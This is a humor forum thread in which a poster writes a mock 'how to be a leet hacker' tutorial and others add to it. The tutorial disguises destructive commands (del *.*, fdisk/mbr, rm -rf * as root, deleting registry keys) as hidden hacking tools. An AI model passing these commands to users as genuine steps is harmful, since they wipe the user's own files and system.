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How to become LEET
I got bored and since Im not doing another Bastard sys admin story YET I decided Id write something else. As you all know i like to write now and well, i try to keep it funny, like when i made up a programming language (Gore++) and my bastard posts obviously. Anyway maybe Ill work on that soon, for now though, enjoy, I was going to put it in the tutorials forum but decided against it because its not right that i get credit next to my name for writing a tutorial when people actually put effort into it when they make there own. SOOOOO enjoy:
How to be a 31337 Hax0R:
By : Gore
So you want to be a leet Hax0R huh?
Well for starters you need to learn alot. This simple tutorial will have you in jail...I mean, Haxin boxes in NO TIME!
So your sitting at your Windows ME box downloading a DDOS attack and thinking "how the **** do I use this thing?"
Well, its quite simple really.
Wanna bring a web server to its knees? Simple! Windows ME is so leet that Microsoft put alot of leet haxin' tools in it by default that you didnt even know existed! Heres how:
First, choose a website at random. This can be any site you want! Windows ME is that leet! This is how you do it. After you have chosen a site. Simply Click on the "Start" button and go to programs, find MS-DOS Prompt, then click on it. You should see a black Window open up Similar too:
C:>
If it looks slightly different do not worry :) Itll still work because Mellenium Edition OWNS like a dude that bought and paid off his house!
Now at this prompt type in "ping www.WebPageYouChose.com" Without the quotation of course. And then, press the "enter" Key. This is a simple test to make sure you have a good connection between yourself and the site.
Ok, you pinged the site and saw things you didnt understand right? thats ok, as long as it did something your ready!.
Now, being a Windows ME leet Hax0r isnt always easy. To start defacing your site, your going to need balls of steel and no brains at all!
Windows ME came with a Web defacement tool built in. But, People at Microsoft did NOT want just anyone using this tool so they hid it and made it look like something its not.
To start using this tool simply type this at the command prompt you opened in the last step!
Type:
del *.bat
Then press enter! Now Like I said before Microsoft did NOT want just anyone using this hidden tool, so it will look like it is deleting things to detour you from doing it. Do not be fooled though, Your a leet haxor and know better than this.
After it finishes, Youll be at a command prompt still. The tool is loading and waiting for secret commands that only people that programmed Windows knew. to finish making it load simply type :
del *.exe
Then type :
del *.*
Press enter.
Then, type:
fdisk/mbr
press enter. Same as above seems like its deleting things. After that finishes the tool is loaded and ready for action, but wait? where is the tool?
BEHIND THE KEYBOARD YOU ****ING LAMER BITCH!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Written by gore on his *NIX box in Emacs. (Dont flame, I like Vi too) This was more of something I did because it matched my personality, Funny.
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Yeah that was ****ing Hillarious let me add on.
Ok now that you are so cool and a great hax0r you nee dto go to the best tool of all in that Microsoft left you it is called you registry now don't be fooled Microsoft hide this from you so all the Hax0r's wouldn't find it. All you need to do is go to Start-->run and type in Regedit--> and start messing with things in it the more you delete the better of and make sure that if oyu change anything you make it twice as long so here we go.
You have now opened up the Hax0r tool.
Now as Gore said you need to be a real Hax0r to do this.
Go to Start -->Run the type command
then type ping -t 127.0.0.1
Let it run for about a week and come back and if that doesn't work.
The reason is./
Drum roll please.
Because you a Lame you need to do a lot of reading. Studying and other things to become a Hax0r.
For more helpful tips PM me and I will gladly help.
Nelson Laugh.
HAHA
Whizkid2300
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OOHHH i actuallyy did it...............hehehehe.................just joking ;)
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Null you are now a Hax0r now go and Hack Hotmail.
LOL
Whizkid2300
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Hahaha Gore that was too funny can't wait for your next project :D
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:rofl: Gore where have you been! My days have been dark 'till you come out with this funny $h!t ;). Two words VERY FUNNY! Thankyou gore for the laughs.
Cya
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Heh, i was umm gone. Anyway, yea i know its been weeks since iv written anything at all. Maybe ill work on more soon. anyway glad people liked it.
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whoaaaaa im ub3r 1337 i did all the stuff in both gore and wizkids posts. i think i got a virus in the process though cause that comp just aint working right
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Zombie you are now an Hax0r. All bow down to the Uber Hax0r. I wish I were one.
Whizkid2300<-----starts to cry I want to be an Uber with out reading, studying or even giing a damn.
It's not fair.
Whizkid2300
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I know a good 1337 h4><0r tool gore.
Open up a shell su to root, cd then rm -rf * which will start up this bad boy 'tool'
Its sooo cool... :D
Disclaimer: r3b007 is not responsible for any damage done using this 'tool'
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L33t Uber Hax0r :D
Man, u guys suk. I just screwed up my whole computer...(not really ;) ) Seriously though, that is so funny! Thank you Gore and whizkid2300. It's been too long since I had a good laugh. I especially like the part about ping -t 127.0.0.1. I need to remember that...it'll make people think they're actually doing something! :p
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man don`t do that **** again !!!! i`m serious !!! i was so phukin` drunk i really done all that **** !! :))
that was a lemme thing to do man ! :)
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Quote:
Originally posted here by zeu
man don`t do that **** again !!!! i`m serious !!! i was so phukin` drunk i really done all that **** !! :))
that was a lemme thing to do man ! :)
Good. Now I know I'm doing my part to make sure stupidity hurts in one way or another.
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By the looks of things, gore, I have seen that you make up some funny stuff. I enjoy reading your kidda humor.
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Muhharrrr ... now im ready to download subseven !!!! :D
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heh funny stuff, i'm thinking of sending this to the next person that says "t34ch m3 h0w 2 h4ck d00dz!" lol
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thats great....love your stuff gore, ezpecially bastard sys admin....
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Hey Gore I'm New here...
but I can say that u're the best..... :thumbsup:
Move on write another one.....
can't wait till tomorrow.... ;)
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dude...stop making fun and telling gore that his aw3s0m3 tut was funny...it was some 53r10u5 5h17!!! i am a 1337 haxwh0r3 and i am going to take over http://www.hotmail.com so i can read my ugly girlfr13ndz emails!!! i go by the c0d3 name of "uber hacwhore" because well thats what i am. :) very funny post gore i like it a lot, made me think back to the days when i thought i was a super uber haxwh0r3...until i joined antionline.
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Quote:
Originally posted here by White_Eskimo
dude...stop making fun and telling gore that his aw3s0m3 tut was funny...it was some 53r10u5 5h17!!! i am a 1337 haxwh0r3 and i am going to take over http://www.hotmail.com so i can read my ugly girlfr13ndz emails!!! i go by the c0d3 name of "uber hacwhore" because well thats what i am. :) very funny post gore i like it a lot, made me think back to the days when i thought i was a super uber haxwh0r3...until i joined antionline.
Heh, leave it to the ****ers here to make you feel lame right? lol. I cant believe people still read this, its actually old. I wrote a couple things for the humor board, I'm sure a quick search of my name would bring most of it up.
My programming language "Gore++" was kinda cool I guess too. Made me laugh when I read it. I cant even really code but I know how it works so I made a joke of it. Heh.
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N4h im n07 w0r7hi3.
u 4ll 4r3 ju57 70 3l373 f0r m3.
Lmfao, **** that took 10 minutes to type.
God see someone help, i wanna be an elite haxor
oops i mean i wanna be a lamor.
Anyhow Gore good one, and it brought a smile to my dial.
Here's a lil joke anyhow,..........
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Mood Ring
My Husband bought me a mood ring the other day.
When i'm in a good mood, it turns green.
When i'm in a bad mood, it leaves a red mark on his forehead.
Anyhow cheers and happily trying to reinstall everything that i deleted while trying to be an elite haxor.
lmfao
